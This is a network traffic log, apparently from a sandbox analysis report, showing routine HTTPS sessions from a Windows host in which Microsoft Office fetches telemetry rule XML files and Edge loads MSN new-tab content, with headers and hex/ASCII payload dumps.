2024-11-21 23:11:59 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=306F509DFB216A50056745A3FA536B36; domain=.msn.com; expires=Tue, 16-Dec-2025 23:11:59 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=306F509DFB216A50056745A3FA536B36; domain=c.msn.com; expires=Tue, 16-Dec-2025 23:11:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 23:11:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 21-Nov-2024 23:21:59 GMT; path=/; SameSite=None; Secure; Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close Content-Length: 42
2024-11-21 23:11:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231159Z-174c587ffdfdwxdvhC1TEB1c4n00000000mg000000003bsa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49904	20.75.60.91	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:59 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=306F509DFB216A50056745A3FA536B36&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=2192e9989e324aa8b771136938e5bc37 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 23:12:00 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2768 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132837-T700343875-C128000000002115609+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115609+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 23:11:59 GMT Connection: close
2024-11-21 23:12:00 UTC	2768	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 50 69 72 69 c3 a1 70 6f 6c 69 73 2c 20 55 72 75 67 75 61 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 69 72 69 25 43 33 25 41 31 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Piripolis, Uruguay\",\"cta\":\"https:\/\/www.bing.com\/search?q=Piri%C3%A1

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:59 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231200Z-15b8b599d88cn5thhC1TEBqxkn00000000m0000000000rh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:00 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231200Z-178bfbc474bfw4gbhC1NYCunf4000000027g000000001mea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:00 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:00 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231200Z-174c587ffdf7t49mhC1TEB4qbg00000000mg000000002r1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:12:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:00 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:01 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231201Z-178bfbc474bscnbchC1NYCe7eg000000027g00000000p2w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:01 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49910	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:01 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:12:01 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=390859 Expires: Tue, 26 Nov 2024 11:46:20 GMT Date: Thu, 21 Nov 2024 23:12:01 GMT Connection: close
2024-11-21 23:12:01 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 23:12:01 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-21 23:12:01 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-21 23:12:02 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-21 23:12:02 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
